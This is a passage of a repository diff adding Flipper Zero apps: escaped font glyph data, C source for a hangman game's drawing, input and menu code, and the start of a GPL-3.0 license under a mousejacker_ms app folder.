+    "\63\12\66B\307!\250#\0\4\64\13>>\27E\277\34\204\1\4\65\15\66B\17Et\30\212$\24"
+    "\0\4\66\15\66BGDK\204D\211h\11\4\67\15\66B\17E$\223\222$\24\0\4\70\13\66B"
+    "\207\210\305B\42\11\4\71\17NBO,\64\7\210X,$\222\0\4:\15\66B\207\210\42!I\224"
+    "H\2\4;\12\66B\27E\277\220\4\4<\13\66B\207\350\360\20\42\11\4=\13\66B\207\210t\30"
+    "\61\11\4>\13\66B\17E\304IB\1\4\77\12\66B\307!\304\223\0\4@\14F:GE\304t"
+    "\21*\2\4A\14\66B\17EDT\222P\0\4B\13\66B\307E\22\22j\2\4C\15F:\207"
+    "\210\313D\221$\241\0\4D\17^:\227P\215\22\321K\204&T\2\4E\15\66B\207HB\223Q"
+    "D$\1\4F\12F:\207D\377bT\4G\12\66B\207\210IRT\4H\20\66BG$\62\211"
+    "L\42\223\310$r\10\4I\21F:G$\62\211L\42\223\310$r\10*\4J\14\66B\307PH"
+    "\222h\241\0\4K\14\66BGlV\231T.\2\4L\14\66B\207PX\21\221.\0\4M\13\65"
+    "B\7QB\223Y\0\4N\16\66BGH\22\71\221$%\11\0\4O\14\66B\317\211$\251HH"
+    "\2\4Q\20NB\207\210$\7PD\207\241HB\1\4R\17^:\217\254$$I\364\217\62\11\0"
+    "\4S\14NB\227L\16:\4u\4\4T\12\65B\217\215\42\23\22\4U\16\66B\17E$\231J"
+    "D\22\12\0\4V\13\314B\217H:\322\205\0\4W\15NB\207\210$\7\14u\243\0\4X\16]"
+    ":\237:`\246\215B\221L\0\4Y\20\66B\7I\22\222\250D&\221\211\4\0\4Z\20\66B\207"
+    "$$\11U$\221Id\42\1\4[\14NB\217\254$$I\364\17\4\134\20NB\227L\16\22Q"
+    "$$\211\22I\0\4^\21^:O,\64\7\210\270L\24I\22\12\0\4_\14F:\207\210\247C"
+    "H(\2\4`\20NBO(\42\32\252h\71XB\21\0\4a\16\66BO(\22\224h\271\204\42"
+    "\0\4b\16NB\217\254$\24\222$z\241\0\4c\16NB\217P\215&$I\264P\0\4d\15"
+    "NB\207\210\242\227CD\237\4\4e\14\66B\207\210\42\71Dt\22\4f\15NB\227PF\312\345"
+    "\242\227\0\4g\13\66B\227\214\224r\321\22\4h\23NB\207(\42\212\210\42\222\3%\62\251D&"
+    "\11\4i\17\66B\207(\42\212\34\42\221I%\1\4j\16NB\307\241\22\312D\271\350%\0\4k"
+    "\14\66B\207%\224\345\242%\0\4l\21NBGd\222\237B\225\310\344\20\211L\22\4m\17\66B"
+    "\207\244\22\31E\16\221\310$\1\4n\23f:O(&\7QDB\321T(\241H)\0\4o\22"
+    "f:O(&G\241\210dR\241\204\42\245\0\4p\15NBGD\277\134hB%\0\4q\15F"
+    ":GD\277\134hB\21\0\4r\16NB\17E\304t\30\61I(\0\4s\15\65B\317Dr\220"
+    "P$\23\0\4t\15NB\207\210\223D\237f\23\0\4u\14\66B\207\210I\242\323\4\0\4v\22"
+    "^BG($\21\245\3D$\211>\315&\0\4w\21VBG($\21\245\3DL\22\235&\0"
+    "\4x\22^:Op\26\211E\364\345\42\211\5e\22\0\4y\17F:OJE\313E\22\13\312$"
+    "\0\4z\15^>\227\214\42\342'\11M\4\4{\15F>\227\214\42\342$\241\211\0\4|\21^B"
+    "\347a\16\14EDC\211\226K(\2\4}\21VB\347a\16\14EDC\211\344\22\212\0\4~\22"
+    "VB\307E\22\7\204\42\242\241D\313%\24\1\4\177\22NB\307E\22\7\204\42\242\241Dr\11E"
+    "\0\4\220\12VB\347a\250\37\1\4\221\12>B\347a\250#\0\0";

+ 87 - 0
non_catalog_apps/hangman_game/helpers/hangman_gui.c

@@ -0,0 +1,87 @@
+#include "hangman.h"
+
+size_t hangman_string_length(const char* str) {
+    FuriString* furi_str = furi_string_alloc_set_str(str);
+    size_t len = furi_string_utf8_length(furi_str);
+    furi_string_free(furi_str);
+
+    return len;
+}
+
+void hangman_draw_utf8_str(Canvas* canvas, uint8_t x, uint8_t y, const char* str) {
+    FuriStringUTF8State state = FuriStringUTF8StateStarting;
+    FuriStringUnicodeValue value = 0;
+
+    for(; *str; str++) {
+        furi_string_utf8_decode(*str, &state, &value);
+        if(state == FuriStringUTF8StateError) furi_crash(NULL);
+
+        if(state == FuriStringUTF8StateStarting) {
+            canvas_draw_glyph(canvas, x, y, value);
+
+            // Only one-byte glyphs supported by canvas_glyph_width
+            x += value <= 0xFF ? canvas_glyph_width(canvas, value) :
+                                 canvas_glyph_width(canvas, ' ');
+        }
+    }
+}
+
+void hangman_draw_gallows(Canvas* canvas, HangmanApp* app) {
+    const Icon* gallows[HANGMAN_GALLOWS_MAX_STATE] = {&I_1, &I_2, &I_3, &I_4, &I_5, &I_6, &I_7};
+    canvas_set_color(canvas, ColorBlack);
+    canvas_draw_icon(canvas, 0, 30, gallows[app->gallows_state]);
+    canvas_set_color(canvas, ColorWhite);
+}
+
+// This function was copied from Flipper Zero firmware
+void hangman_ok_button(Canvas* canvas, uint8_t y, const char* str) {
+    const uint8_t button_height = 12;
+    const uint8_t vertical_offset = 3;
+    const uint8_t horizontal_offset = 1;
+    const uint8_t string_width = canvas_glyph_width(canvas, ' ') * hangman_string_length(str);
+    const Icon* icon = &I_button_ok_7x7;
+    const uint8_t icon_h_offset = 3;
+    const uint8_t icon_width_with_offset = 7 + icon_h_offset;
+    const uint8_t icon_v_offset = 7 + vertical_offset;
+    const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset;
+
+    const uint8_t x = (canvas_width(canvas) - button_width) / 2;
+
+    canvas_draw_box(canvas, x, y - button_height, button_width, button_height);
+
+    canvas_draw_line(canvas, x - 1, y, x - 1, y - button_height + 0);
+    canvas_draw_line(canvas, x - 2, y, x - 2, y - button_height + 1);
+    canvas_draw_line(canvas, x - 3, y, x - 3, y - button_height + 2);
+
+    canvas_draw_line(canvas, x + button_width + 0, y, x + button_width + 0, y - button_height + 0);
+    canvas_draw_line(canvas, x + button_width + 1, y, x + button_width + 1, y - button_height + 1);
+    canvas_draw_line(canvas, x + button_width + 2, y, x + button_width + 2, y - button_height + 2);
+
+    canvas_invert_color(canvas);
+    canvas_draw_icon(canvas, x + horizontal_offset, y - icon_v_offset, icon);
+    hangman_draw_utf8_str(
+        canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str);
+    canvas_invert_color(canvas);
+}
+
+void hangman_window(Canvas* canvas, uint8_t x, uint8_t y, uint8_t w, uint8_t h) {
+    canvas_set_color(canvas, ColorWhite);
+    canvas_draw_box(canvas, x - 2, y - 2, w + 4, h + 4);
+    canvas_set_color(canvas, ColorBlack);
+
+    elements_frame(canvas, x, y, w, h);
+}
+
+void hangman_text_window(Canvas* canvas, char* ok, char* txt) {
+    uint8_t txt_w = canvas_glyph_width(canvas, ' ') * hangman_string_length(txt);
+
+    uint8_t cw = canvas_width(canvas);
+    uint8_t w = txt_w + 10, h = 34, y = 18;
+    uint8_t x = (cw - w) / 2;
+
+    hangman_window(canvas, x, y, w, h);
+    hangman_ok_button(canvas, y + h, ok);
+
+    hangman_draw_utf8_str(
+        canvas, (cw - txt_w) / 2, y + canvas_current_font_height(canvas) + 4, txt);
+}

+ 123 - 0
non_catalog_apps/hangman_game/helpers/hangman_input.c

@@ -0,0 +1,123 @@
+#include "hangman.h"
+
+bool hangman_wait_close_window(HangmanApp* app) {
+    InputEvent event;
+
+    for(;;) {
+        if(furi_message_queue_get(app->event_queue, &event, 100) == FuriStatusOk) {
+            if(event.type == InputTypeShort) {
+                switch(event.key) {
+                case InputKeyOk:
+                    hangman_clear_state(app);
+                    view_port_update(app->view_port);
+                    return true;
+
+                case InputKeyBack:
+                    return false;
+                default:
+                    break;
+                }
+            }
+        }
+    }
+}
+
+bool hangman_menu_selection(HangmanApp* app) {
+    InputEvent event;
+    int8_t menu_cnt = app->menu_cnt / 2;
+
+    for(;;) {
+        if(furi_message_queue_get(app->event_queue, &event, 100) == FuriStatusOk) {
+            if(event.type == InputTypeShort) {
+                switch(event.key) {
+                case InputKeyOk:
+                    app->menu_show = false;
+                    hangman_load_lang(app);
+                    hangman_clear_state(app);
+                    view_port_update(app->view_port);
+                    return true;
+
+                case InputKeyBack:
+                    return false;
+
+                case InputKeyUp:
+                    if(--app->menu_item < 0) {
+                        app->menu_item = menu_cnt - 1;
+                    }
+                    break;
+                case InputKeyDown:
+                    if(++app->menu_item > menu_cnt - 1) {
+                        app->menu_item = 0;
+                    }
+                    break;
+                default:
+                    break;
+                }
+
+                view_port_update(app->view_port);
+            }
+        }
+    }
+}
+
+bool hangman_main_loop(HangmanApp* app) {
+    InputEvent event;
+
+    while(app->eog == HangmanGameOn && !app->need_generate) {
+        if(furi_message_queue_get(app->event_queue, &event, 100) == FuriStatusOk) {
+            if(event.type == InputTypeShort) {
+                switch(event.key) {
+                case InputKeyOk:
+                    hangman_choice_letter(app);
+                    break;
+
+                case InputKeyBack:
+                    return false;
+
+                case InputKeyDown:
+                    app->pos += app->lang->keyboard_cols;
+
+                    if(app->pos >= app->lang->letters_cnt) {
+                        app->pos %= app->lang->keyboard_cols;
+                    }
+
+                    break;
+
+                case InputKeyUp:
+                    if(app->pos >= app->lang->keyboard_cols) {
+                        app->pos -= app->lang->keyboard_cols;
+                    } else {
+                        app->pos += app->lang->keyboard_cols * (app->lang->keyboard_rows - 1);
+                        if(app->pos >= app->lang->letters_cnt) {
+                            app->pos -= app->lang->keyboard_cols;
+                        }
+                    }
+                    break;
+
+                case InputKeyLeft:
+                    if(app->pos > 0) {
+                        app->pos--;
+                    } else {
+                        app->pos = app->lang->letters_cnt - 1;
+                    }
+                    break;
+
+                case InputKeyRight:
+                    if(app->pos < app->lang->letters_cnt - 1) {
+                        app->pos++;
+                    } else {
+                        app->pos = 0;
+                    }
+                    break;
+
+                default:
+                    break;
+                }
+
+                view_port_update(app->view_port);
+            }
+        }
+    }
+
+    return true;
+}

+ 44 - 0
non_catalog_apps/hangman_game/helpers/hangman_menu.c

@@ -0,0 +1,44 @@
+#include "hangman.h"
+
+char** hangman_menu_read(size_t* menu_size) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+
+    Stream* stream = file_stream_alloc(storage);
+    FuriString* line = furi_string_alloc();
+
+    char** lines = NULL;
+    size_t capacity = 0;
+    size_t cnt = 0;
+
+    if(file_stream_open(stream, HANGMAN_MENU_FILE, FSAM_READ, FSOM_OPEN_EXISTING)) {
+        while(stream_read_line(stream, line)) {
+            furi_string_trim(line);
+
+            if(cnt == capacity) {
+                capacity = capacity > 0 ? capacity * 2 : 1;
+                lines = (char**)realloc(lines, capacity * sizeof(char*));
+            }
+
+            lines[cnt++] = strdup(furi_string_get_cstr(line));
+        }
+    } else {
+        furi_crash(NULL);
+    }
+
+    *menu_size = cnt;
+
+    furi_string_free(line);
+    file_stream_close(stream);
+    stream_free(stream);
+    furi_record_close(RECORD_STORAGE);
+
+    return lines;
+}
+
+void hangman_free_menu_data(char** lines, size_t menu_size) {
+    for(size_t i = 0; i < menu_size; i++) {
+        free(lines[i]);
+    }
+
+    free(lines);
+}

BIN
non_catalog_apps/hangman_game/images/1.png


BIN
non_catalog_apps/hangman_game/images/2.png


BIN
non_catalog_apps/hangman_game/images/3.png


BIN
non_catalog_apps/hangman_game/images/4.png


BIN
non_catalog_apps/hangman_game/images/5.png


BIN
non_catalog_apps/hangman_game/images/6.png


BIN
non_catalog_apps/hangman_game/images/7.png


BIN
non_catalog_apps/hangman_game/images/button_ok_7x7.png


+ 674 - 0
non_catalog_apps/mousejacker_ms/LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
